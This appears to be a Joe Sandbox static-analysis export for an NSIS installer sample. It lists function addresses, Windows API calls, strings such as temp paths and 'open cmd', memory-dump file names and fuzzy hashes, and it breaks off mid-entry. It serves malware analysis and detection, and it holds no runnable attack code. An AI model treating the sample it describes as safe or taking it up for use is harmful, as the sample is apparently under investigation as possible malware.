C:\Users\user\AppData\Local\Temp\, xrefs: 00403810, 00403815, 0040382B, 00403837, 00403846, 00403853, 0040385F, 00403867, 0040397D, 0040398E, 00403999, 004039A5, 004039B2, 004039C1, 00403A72
Low, xrefs: 0040384E
\Temp, xrefs: 00403832
1033, xrefs: 0040387C
TMP, xrefs: 00403868
~nsu, xrefs: 00403978
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004035EF
NSIS Error, xrefs: 0040369A
TEMP, xrefs: 00403860
Error launching installer, xrefs: 00403903
.tmp, xrefs: 00403994

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Processlstrcat$ExitFile$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 424501083-2266443568
Opcode ID: 192a59dcd8014d98a74b0244e035758c3ace76d32184e7546451a3a8955dee98
Instruction ID: 2d933c795242ec911d1e8c81cb1b116df6d8be9c0bdf84dd3ae94b8088f318b1
Opcode Fuzzy Hash: 192a59dcd8014d98a74b0244e035758c3ace76d32184e7546451a3a8955dee98
Instruction Fuzzy Hash: 7CD1F6B1200310AAD720BF759D49B2B3AADEB40709F51443FF881B62D1DB7D8956C76E

Function 00406C5B Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c5fc7cef62123189b146ae20f9b137f8dd1da47d9d14d17752a01c0449262ee
Instruction ID: b5fdc14d1eddcf89792e2e646b4c6bd06a53190dca3d1b375e16d2eed6ded591
Opcode Fuzzy Hash: 4c5fc7cef62123189b146ae20f9b137f8dd1da47d9d14d17752a01c0449262ee
Instruction Fuzzy Hash: 78F16970D04229CBDF28CFA8C8946ADBBB1FF44305F15816ED856BB281D7386A86DF45

Function 00403C0B Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

GetUserDefaultUILanguage.KERNELBASE(00000002,74DF3420,C:\Users\user\AppData\Local\Temp\,00435000,00000000), ref: 00403C25

Part of subcall function 00406483: wsprintfW.USER32 ref: 00406490

lstrcatW.KERNEL32(1033,00423748), ref: 00403C8C
lstrlenW.KERNEL32(open cmd,?,?,?,open cmd,00000000,00435800,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000,00000002,74DF3420), ref: 00403D0C
lstrcmpiW.KERNEL32(?,.exe,open cmd,?,?,?,open cmd,00000000,00435800,1033,00423748,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423748,00000000), ref: 00403D1F
GetFileAttributesW.KERNEL32(open cmd), ref: 00403D2A
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403D73
RegisterClassW.USER32(00429200), ref: 00403DB0
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DC8
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403DFD
ShowWindow.USER32(00000005,00000000), ref: 00403E33
GetClassInfoW.USER32(00000000,RichEdit20W,00429200), ref: 00403E5F
GetClassInfoW.USER32(00000000,RichEdit,00429200), ref: 00403E6C
RegisterClassW.USER32(00429200), ref: 00403E75
DialogBoxParamW.USER32(?,00000000,00403FB9,00000000), ref: 00403E94

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00403C3F
RichEdit20W, xrefs: 00403E57, 00403E5D
RichEdit, xrefs: 00403E66
RichEd32, xrefs: 00403E47
H7B, xrefs: 00403C37
.exe, xrefs: 00403D19
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C10
open cmd, xrefs: 00403CD3, 00403CDC, 00403CEA, 00403D39, 00403D3F
_Nb, xrefs: 00403D8F, 00403DF7
1033, xrefs: 00403C2B, 00403C87
RichEd20, xrefs: 00403E39
.DEFAULT\Control Panel\International, xrefs: 00403C77

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$H7B$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb$open cmd
API String ID: 606308-3154666466
Opcode ID: 48322becd3d8efe0cd832b317988b4041c355d21bd462e37230b45ba98bd7fc7
Instruction ID: e394074358681fdac01dfd3b015b47ae0866f78f7b6160babfbfeef1d79938ee
Opcode Fuzzy Hash: 48322becd3d8efe0cd832b317988b4041c355d21bd462e37230b45ba98bd7fc7
Instruction Fuzzy Hash: EA61D570240200BAD720AF66AD45F2B3A7CEB84B09F40457FF941B22E2CB7D9D12867D

Function 00403068 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 204
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040307C
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00403098

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,00438800,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 004030E1
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 00403223

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040326C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004032BA
Inst, xrefs: 0040314D
C:\Users\user\AppData\Local\Temp\, xrefs: 00403072, 0040323B
Null, xrefs: 0040315F
Error launching installer, xrefs: 004030B8
soft, xrefs: 00403156

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-554360561
Opcode ID: 8e4e929ec00d298773cd7711401fbd042d30ada64bab94f08e83dcc7a4259e6b
Instruction ID: 3c019e557a6e0d840000321a6ffc1a5a74fe8930866e2d2a4a5af375f72a0401
Opcode Fuzzy Hash: 8e4e929ec00d298773cd7711401fbd042d30ada64bab94f08e83dcc7a4259e6b
Instruction Fuzzy Hash: 9B71E431A00204ABDB20DF64DD85B5E3EBCAB18315F2045BBF901B72D2D7789E458B6D

Function 0040176F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,open,open,00000000,00000000,open,00436000,?,?,00000031), ref: 004017D5

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

Part of subcall function 004055A4: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(00422728,00403040), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(00422728,00422728), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

Strings

open cmd, xrefs: 00401835, 00401851
open, xrefs: 0040178D, 00401796, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: open$open cmd
API String ID: 1941528284-3636087326
Opcode ID: 4b913798fb200dfea553bd9fe538fd44ff4447b51554b0a60bb8fefd456ad0c1
Instruction ID: 1f20f3305f5cdc04e1f2059eaac63a386f89c848407f65c8aae314978641b4a4
Opcode Fuzzy Hash: 4b913798fb200dfea553bd9fe538fd44ff4447b51554b0a60bb8fefd456ad0c1
Instruction Fuzzy Hash: 08419431500114BACF10BFB9DD85DAE7A79EF45729B20423FF422B10E2D73C8A519A6E

Function 004068C1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068D8
wsprintfW.USER32 ref: 00406913
LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 00406927

Strings

\, xrefs: 004068E9
UXTHEME, xrefs: 004068CA
%s%S.dll, xrefs: 0040690D

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction ID: 979e31ef7f6a653eb027d6e7281dab5f214eebcb072a06bc6d9d9cfc9f176359
Opcode Fuzzy Hash: 63130bafcb32548bd4340548baa3f8658423137b3882cd96386db367ad08b740
Instruction Fuzzy Hash: BDF02B71501219A7CB14BB68DD0DF9B376CEB00304F10447EA646F10D0EB7CDA68CB98

Function 00406061 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040607F
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00435000,004035D6,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822), ref: 0040609A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406066
nsa, xrefs: 0040606E

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-678247507
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: f50322da3c8d1fbf3185d5aa4cbdefdd087cb84507cf15d2c2e6a21a41158221
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: BBF09076741204BFEB00CF59DD05E9EB7BCEBA1710F11803AFA05F7240E6B499648768

Function 00407090 Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction ID: a7b8be33b9a7519416cae36d16977938a601532f9034d24a777c3823dc36e66c
Opcode Fuzzy Hash: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction Fuzzy Hash: F7A14571D04229CBDB28CFA8C854BADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407291 Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction ID: 5a24a20e97f266d7e3441ea32a969c72ce760fd7697c8a443cfa4f07d4855531
Opcode Fuzzy Hash: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction Fuzzy Hash: 6F911170D04229CBEF28CF98C854BADBBB1FB44305F14816ED856BB291C7786A86DF45

Function 00406FA7 Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction ID: f684c89e7032feabc3e3bde7c6855c560f6d73b68505d9943badace2bdbe07f8
Opcode Fuzzy Hash: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction Fuzzy Hash: CD814771D04228CFDF24CFA8C944BADBBB1FB44305F25816AD856BB281C7786986DF05

Function 00406AAC Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction ID: 835433ef786a7bbaa66b5d31b28c9fa354c7a4a33243279710ed11147b04f42a
Opcode Fuzzy Hash: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction Fuzzy Hash: F1816871D04228CBDF24CFA8C844BAEBBB0FF44305F11816AD856BB281D7786986DF45

Function 00406EFA Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction ID: b4a429368d408adc735ccef7c69d02ca95e21b2dffe456e9be617d596e32585a
Opcode Fuzzy Hash: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction Fuzzy Hash: 44711371D04228CFDF28CFA8C954BADBBB1FB44305F15806AD856BB281D7386986DF45

Function 00407018 Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
Instruction ID: ba5f555e51aa8b1381cdd2b0d2a1af6e0fef70f9c7cb40d8a5f6f768353cc961
Opcode Fuzzy Hash: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
Instruction Fuzzy Hash: 30713371E04228CFDF28CFA8C854BADBBB1FB44305F15806AD856BB281C7786986DF45

Function 00406F64 Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

